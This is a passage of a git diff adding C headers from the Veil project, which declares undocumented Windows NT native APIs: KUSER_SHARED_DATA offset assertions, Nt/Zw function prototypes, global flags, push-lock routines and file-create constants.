TimeZoneBiasEffectiveEnd; + + // + // Extended processor state configuration + // + + XSTATE_CONFIGURATION XState; + + KSYSTEM_TIME FeatureConfigurationChangeStamp; + ULONG Spare; + +} KUSER_SHARED_DATA, * PKUSER_SHARED_DATA; +#include + +// +// Mostly enforce earlier comment about the stability and +// architecture-neutrality of this struct. +// + +#if !defined(__midl) && !defined(MIDL_PASS) + +// +// Assembler logic assumes a zero value for syscall and a nonzero value for +// int 2e, and that no other values exist presently for the SystemCall field. +// + +C_ASSERT(SYSTEM_CALL_SYSCALL == 0); +C_ASSERT(SYSTEM_CALL_INT_2E == 1); + +// +// The overall size can change, but it must be the same for all architectures. +// + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountLowDeprecated) == 0x0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); +C_ASSERT(__alignof(KSYSTEM_TIME) == 4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x08); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x014); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x020); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x02c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x02e); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x030); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x248); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x24c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, RNGSeedVersion) == 0x250); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, GlobalValidationRunlevel) == 0x258); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBiasStamp) == 0x25c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtBuildNumber) == 0x260); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NativeProcessorArchitecture) == 0x26a); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MitigationPolicies) == 0x2d5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CyclesPerYield) == 0x2d6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, VirtualizationFlags) == 0x2ed); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved12) == 0x2ee); + +#if defined(_MSC_EXTENSIONS) +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SharedDataFlags) == 0x2f0); +#endif + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcFrequency) == 0x300); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x308); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x30c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x310); + +#if defined(_MSC_EXTENSIONS) +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); +#endif + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeUpdateLock) == 0x340); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, BaselineSystemTimeQpc) == 0x348); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, BaselineInterruptTimeQpc) == 0x350); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcSystemTimeIncrement) == 0x358); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcInterruptTimeIncrement) == 0x360); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcSystemTimeIncrementShift) == 0x368); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcInterruptTimeIncrementShift) == 0x369); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UnparkedProcessorCount) == 0x36a); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, EnclaveFeatureMask) == 0x36c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TelemetryCoverageRound) == 0x37c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3a8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcBias) == 0x3b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved9) == 0x3c5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcData) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcBypassEnabled) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, QpcShift) == 0x3c7); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBiasEffectiveStart) == 0x3c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBiasEffectiveEnd) == 0x3d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3d8); +#if !defined(WINDOWS_IGNORE_PACKING_MISMATCH) +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, FeatureConfigurationChangeStamp) == 0x720); +C_ASSERT(sizeof(KUSER_SHARED_DATA) == 0x730); +#endif + +#endif /* __midl | MIDL_PASS */ + +#ifndef SharedUserData +#define SharedUserData USER_SHARED_DATA +#endif + +#endif // _KERNEL_MODE + +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)0x7ffe0000) + +// +// Locale +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDefaultLocale( + _In_ BOOLEAN UserProfile, + _Out_ PLCID DefaultLocaleId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDefaultLocale( + _In_ BOOLEAN UserProfile, + _Out_ PLCID DefaultLocaleId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultLocale( + _In_ BOOLEAN UserProfile, + _In_ LCID DefaultLocaleId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDefaultLocale( + _In_ BOOLEAN UserProfile, + _In_ LCID DefaultLocaleId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInstallUILanguage( + _Out_ LANGID* InstallUILanguageId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInstallUILanguage( + _Out_ LANGID* InstallUILanguageId +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushInstallUILanguage( + _In_ LANGID InstallUILanguage, + _In_ ULONG SetComittedFlag +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushInstallUILanguage( + _In_ LANGID InstallUILanguage, + _In_ ULONG SetComittedFlag +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDefaultUILanguage( + _Out_ LANGID* DefaultUILanguageId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDefaultUILanguage( + _Out_ LANGID* DefaultUILanguageId +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultUILanguage( + _In_ LANGID DefaultUILanguageId +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDefaultUILanguage( + _In_ LANGID DefaultUILanguageId +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtIsUILanguageComitted( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwIsUILanguageComitted( + VOID +); +#endif + +// +// NLS +// + +// begin_private + +#if (NTDDI_VERSION >= NTDDI_VISTA) +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeNlsFiles( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitializeNlsFiles( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize +); +#else +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeNlsFiles( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize, + _Out_opt_ PULONG CurrentNLSVersion +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwInitializeNlsFiles( + _Out_ PVOID* BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize, + _Out_opt_ PULONG CurrentNLSVersion +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNlsSectionPtr( + _In_ ULONG SectionType, + _In_ ULONG SectionData, + _In_ PVOID ContextData, + _Out_ PVOID* SectionPointer, + _Out_ PULONG SectionSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetNlsSectionPtr( + _In_ ULONG SectionType, + _In_ ULONG SectionData, + _In_ PVOID ContextData, + _Out_ PVOID* SectionPointer, + _Out_ PULONG SectionSize +); + +#if (NTDDI_VERSION < NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAcquireCMFViewOwnership( + _Out_ PULONGLONG TimeStamp, + _Out_ PBOOLEAN tokenTaken, + _In_ BOOLEAN replaceExisting +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAcquireCMFViewOwnership( + _Out_ PULONGLONG TimeStamp, + _Out_ PBOOLEAN tokenTaken, + _In_ BOOLEAN replaceExisting +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseCMFViewOwnership( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseCMFViewOwnership( + VOID +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapCMFModule( + _In_ ULONG What, + _In_ ULONG Index, + _Out_opt_ PULONG CacheIndexOut, + _Out_opt_ PULONG CacheFlagsOut, + _Out_opt_ PULONG ViewSizeOut, + _Out_opt_ PVOID* BaseAddress +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapCMFModule( + _In_ ULONG What, + _In_ ULONG Index, + _Out_opt_ PULONG CacheIndexOut, + _Out_opt_ PULONG CacheFlagsOut, + _Out_opt_ PULONG ViewSizeOut, + _Out_opt_ PVOID* BaseAddress +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetMUIRegistryInfo( + _In_ ULONG Flags, + _Inout_ PULONG DataSize, + _Out_ PVOID Data +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetMUIRegistryInfo( + _In_ ULONG Flags, + _Inout_ PULONG DataSize, + _Out_ PVOID Data +); +#endif + +// end_private + +// +// Global atoms +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAddAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +#define ATOM_FLAG_GLOBAL 0x2 + +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddAtomEx( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAddAtomEx( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom, + _In_ ULONG Flags +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFindAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFindAtom( + _In_reads_bytes_opt_(Length) PWSTR AtomName, + _In_ ULONG Length, + _Out_opt_ PRTL_ATOM Atom +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteAtom( + _In_ RTL_ATOM Atom +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteAtom( + _In_ RTL_ATOM Atom +); + +typedef enum _ATOM_INFORMATION_CLASS +{ + AtomBasicInformation, + AtomTableInformation +} ATOM_INFORMATION_CLASS; + +typedef struct _ATOM_BASIC_INFORMATION +{ + USHORT UsageCount; + USHORT Flags; + USHORT NameLength; + WCHAR Name[1]; +} ATOM_BASIC_INFORMATION, * PATOM_BASIC_INFORMATION; + +typedef struct _ATOM_TABLE_INFORMATION +{ + ULONG NumberOfAtoms; + RTL_ATOM Atoms[1]; +} ATOM_TABLE_INFORMATION, * PATOM_TABLE_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationAtom( + _In_ RTL_ATOM Atom, + _In_ ATOM_INFORMATION_CLASS AtomInformationClass, + _Out_writes_bytes_(AtomInformationLength) PVOID AtomInformation, + _In_ ULONG AtomInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationAtom( + _In_ RTL_ATOM Atom, + _In_ ATOM_INFORMATION_CLASS AtomInformationClass, + _Out_writes_bytes_(AtomInformationLength) PVOID AtomInformation, + _In_ ULONG AtomInformationLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Global flags +// + +#define FLG_STOP_ON_EXCEPTION 0x00000001 // uk +#define FLG_SHOW_LDR_SNAPS 0x00000002 // uk +#define FLG_DEBUG_INITIAL_COMMAND 0x00000004 // k +#define FLG_STOP_ON_HUNG_GUI 0x00000008 // k + +#define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010 // u +#define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020 // u +#define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040 // u +#define FLG_HEAP_VALIDATE_ALL 0x00000080 // u + +#define FLG_APPLICATION_VERIFIER 0x00000100 // u +#define FLG_POOL_ENABLE_TAGGING 0x00000400 // k +#define FLG_HEAP_ENABLE_TAGGING 0x00000800 // u + +#define FLG_USER_STACK_TRACE_DB 0x00001000 // u,32 +#define FLG_KERNEL_STACK_TRACE_DB 0x00002000 // k,32 +#define FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000 // k +#define FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000 // u + +#define FLG_DISABLE_STACK_EXTENSION 0x00010000 // u +#define FLG_ENABLE_CSRDEBUG 0x00020000 // k +#define FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000 // k +#define FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000 // k + +#define FLG_ENABLE_SYSTEM_CRIT_BREAKS 0x00100000 // u +#define FLG_HEAP_DISABLE_COALESCING 0x00200000 // u +#define FLG_ENABLE_CLOSE_EXCEPTIONS 0x00400000 // k +#define FLG_ENABLE_EXCEPTION_LOGGING 0x00800000 // k + +#define FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000 // k +#define FLG_HEAP_PAGE_ALLOCS 0x02000000 // u +#define FLG_DEBUG_INITIAL_COMMAND_EX 0x04000000 // k +#define FLG_DISABLE_DBGPRINT 0x08000000 // k + +#define FLG_CRITSEC_EVENT_CREATION 0x10000000 // u +#define FLG_LDR_TOP_DOWN 0x20000000 // u,64 +#define FLG_ENABLE_HANDLE_EXCEPTIONS 0x40000000 // k +#define FLG_DISABLE_PROTDLLS 0x80000000 // u + +#define FLG_VALID_BITS 0xfffffdff + +#define FLG_USERMODE_VALID_BITS (FLG_STOP_ON_EXCEPTION | \ + FLG_SHOW_LDR_SNAPS | \ + FLG_HEAP_ENABLE_TAIL_CHECK | \ + FLG_HEAP_ENABLE_FREE_CHECK | \ + FLG_HEAP_VALIDATE_PARAMETERS | \ + FLG_HEAP_VALIDATE_ALL | \ + FLG_APPLICATION_VERIFIER | \ + FLG_HEAP_ENABLE_TAGGING | \ + FLG_USER_STACK_TRACE_DB | \ + FLG_HEAP_ENABLE_TAG_BY_DLL | \ + FLG_DISABLE_STACK_EXTENSION | \ + FLG_ENABLE_SYSTEM_CRIT_BREAKS | \ + FLG_HEAP_DISABLE_COALESCING | \ + FLG_DISABLE_PROTDLLS | \ + FLG_HEAP_PAGE_ALLOCS | \ + FLG_CRITSEC_EVENT_CREATION | \ + FLG_LDR_TOP_DOWN) + +#define FLG_BOOTONLY_VALID_BITS (FLG_KERNEL_STACK_TRACE_DB | \ + FLG_MAINTAIN_OBJECT_TYPELIST | \ + FLG_ENABLE_CSRDEBUG | \ + FLG_DEBUG_INITIAL_COMMAND | \ + FLG_DEBUG_INITIAL_COMMAND_EX | \ + FLG_DISABLE_PAGE_KERNEL_STACKS) + +#define FLG_KERNELMODE_VALID_BITS (FLG_STOP_ON_EXCEPTION | \ + FLG_SHOW_LDR_SNAPS | \ + FLG_STOP_ON_HUNG_GUI | \ + FLG_POOL_ENABLE_TAGGING | \ + FLG_ENABLE_KDEBUG_SYMBOL_LOAD | \ + FLG_ENABLE_CLOSE_EXCEPTIONS | \ + FLG_ENABLE_EXCEPTION_LOGGING | \ + FLG_ENABLE_HANDLE_TYPE_TAGGING | \ + FLG_DISABLE_DBGPRINT | \ + FLG_ENABLE_HANDLE_EXCEPTIONS) + +// +// Licensing +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize +); + +// +// Misc. +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDefaultHardErrorPort( + _In_ HANDLE DefaultHardErrorPort +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDefaultHardErrorPort( + _In_ HANDLE DefaultHardErrorPort +); + +typedef enum _SHUTDOWN_ACTION +{ + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff +} SHUTDOWN_ACTION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtShutdownSystem( + _In_ SHUTDOWN_ACTION Action +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwShutdownSystem( + _In_ SHUTDOWN_ACTION Action +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDisplayString( + _In_ PUNICODE_STRING String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDisplayString( + _In_ PUNICODE_STRING String +); + +// +// Boot graphics +// + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDrawText( + _In_ PUNICODE_STRING Text +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDrawText( + _In_ PUNICODE_STRING Text +); +#endif + +// +// Executive +// + +#ifdef _KERNEL_MODE + +// Exception + +NTSYSAPI +int +ExSystemExceptionFilter( + VOID +); + +// Fast Mutex + +NTSYSAPI +VOID +FASTCALL +ExEnterCriticalRegionAndAcquireFastMutexUnsafe( + _Inout_ PFAST_MUTEX FastMutex +); + +// Push Lock + +NTSYSAPI +VOID +FASTCALL +ExfAcquirePushLockExclusive( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfReleasePushLockExclusive( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfAcquirePushLockShared( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfReleasePushLockShared( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +BOOLEAN +FASTCALL +ExfTryAcquirePushLockShared( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfTryToWakePushLock( + _Inout_ PEX_PUSH_LOCK PushLock +); + +NTSYSAPI +VOID +FASTCALL +ExfReleasePushLock( + _Inout_ PEX_PUSH_LOCK PushLock +); + +// Cache Aware Push Lock + +#define EX_CACHE_LINE_SIZE (128) +#define EX_PUSH_LOCK_FANNED_COUNT (PAGE_SIZE/EX_CACHE_LINE_SIZE) + +typedef struct EX_PUSH_LOCK_CACHE_AWARE +{ + PEX_PUSH_LOCK Locks[EX_PUSH_LOCK_FANNED_COUNT]; +}*PEX_PUSH_LOCK_CACHE_AWARE; + +NTSYSAPI +PEX_PUSH_LOCK_CACHE_AWARE +NTAPI +ExAllocateCacheAwarePushLock( + VOID +); + +NTSYSAPI +VOID +NTAPI +ExFreeCacheAwarePushLock( + _Inout_ PEX_PUSH_LOCK_CACHE_AWARE PushLock +); + +NTSYSAPI +VOID +NTAPI +ExAcquireCacheAwarePushLockExclusive( + _Inout_ PEX_PUSH_LOCK_CACHE_AWARE CacheAwarePushLock +); + +NTSYSAPI +VOID +NTAPI +ExReleaseCacheAwarePushLockExclusive( + _Inout_ PEX_PUSH_LOCK_CACHE_AWARE CacheAwarePushLock +); + +#endif // _KERNEL_MODE + + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.IOManager.h b/include/Veil/Veil/Veil.System.IOManager.h new file mode 100644 index 0000000..66b76b5 --- /dev/null +++ b/include/Veil/Veil/Veil.System.IOManager.h @@ -0,0 +1,3060 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifndef _KERNEL_MODE +// Create disposition + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +// Create/open flags + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 +#if (NTDDI_VERSION >= NTDDI_WIN7) +#define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 +#define FILE_DISALLOW_EXCLUSIVE 0x00020000 +#endif +#if (NTDDI_VERSION >= NTDDI_WIN8) +#define FILE_SESSION_AWARE 0x00040000 +#endif + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define 